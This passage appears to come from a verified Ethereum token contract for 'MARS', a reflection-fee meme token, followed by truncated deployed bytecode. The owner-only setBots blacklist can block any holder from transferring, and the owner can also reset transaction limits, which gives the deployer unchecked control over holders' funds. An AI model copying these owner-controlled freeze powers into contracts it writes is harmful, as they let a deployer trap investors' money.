errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MARS is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Mars Official | https://t.me/marsproject1"; string private constant _symbol = 'MARS'; uint8 private constant _decimals = 9; uint256 private _taxFee = 42; uint256 private _teamFee = 69; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1 * 10**12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(1000); uint256 tTeam = tAmount.mul(TeamFee).div(1000); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061073a565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610758565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610769565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610842565b005b34801561033357600080fd5b5061033c610965565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061096e565b005b34801561039e57600080fd5b506103a7610a53565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac5565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bb0565b005b34801561043157600080fd5b5061043a610d36565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d5f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d9c565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dba565b005b34801561063857600080fd5b50610641610f0a565b005b34801561064f57600080fd5b50610658610f84565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b8101908080359060200190929190505050611602565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b1565b6040518082815260200191505060405180910390f35b6060604051806060016040528060298152602001613d7760299139905090565b600061074e610747611838565b8484611840565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610776848484611a37565b61083784610782611838565b61083285604051806060016040528060288152602001613d2660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107e8611838565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122969092919063ffffffff16565b611840565b600190509392505050565b61084a611838565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461090a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610976611838565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a94611838565b73ffffffffffffffffffffffffffffffffffffffff1614610ab457600080fd5b6000479050610ac281612356565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b6057600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bab565b610ba8600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612451565b90505b919050565b610bb8611838565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c78576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d41525300000000000000000000000000000000000000000000000000000000815250905090565b6000610db0610da9611838565b8484611a37565b6001905092915050565b610dc2611838565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f0657600160076000848481518110610ea057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610e85565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f4b611838565b73ffffffffffffffffffffffffffffffffffffffff1614610f6b57600080fd5b6000610f7630610ac5565b9050610f81816124d5565b50565b610f8c611838565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461104c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061115f30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611840565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111a557600080fd5b505afa1580156111b9573d6000803e3d6000fd5b505050506040513d60208110156111cf57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561124257600080fd5b505afa158015611256573d6000803e3d6000fd5b505050506040513d602081101561126c57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156112e657600080fd5b505af11580156112fa573d6000803e3d6000fd5b505050506040513d602081101561131057600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113aa30610ac5565b6000806113b5610d36565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561143a57600080fd5b505af115801561144e573d6000803e3d6000fd5b50505050506040513d606081101561146557600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115c357600080fd5b505af11580156115d7573d6000803e3d6000fd5b505050506040513d60208110156115ed57600080fd5b81019080805190602001909291905050505050565b61160a611838565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61176f606461176183683635c9adc5dea000006127bf90919063ffffffff16565b61284590919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613dc56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561194c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ce36022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613da06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c966023913960400191505060405180910390fd5b60008111611b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d4e6029913960400191505060405180910390fd5b611ba4610d36565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c125750611be2610d36565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121d357601360179054906101000a900460ff1615611e78573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c9457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cee5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d485750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e7757601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d8e611838565b73ffffffffffffffffffffffffffffffffffffffff161480611e045750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dec611838565b73ffffffffffffffffffffffffffffffffffffffff16145b611e76576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f6857601454811115611eba57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f5e5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f6757600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120135750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120695750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120815750601360179054906101000a900460ff165b156121195742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120d157600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061212430610ac5565b9050601360159054906101000a900460ff161580156121915750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121a95750601360169054906101000a900460ff165b156121d1576121b7816124d5565b600047905060008111156121cf576121ce47612356565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061227a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561228457600090505b6122908484848461288f565b50505050565b6000838311158290612343576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123085780820151818401526020810190506122ed565b50505050905090810190601f1680156123355780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123a660028461284590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123d1573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242260028461284590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561244d573d6000803e3d6000fd5b5050565b6000600a548211156124ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cb9602a91396040019150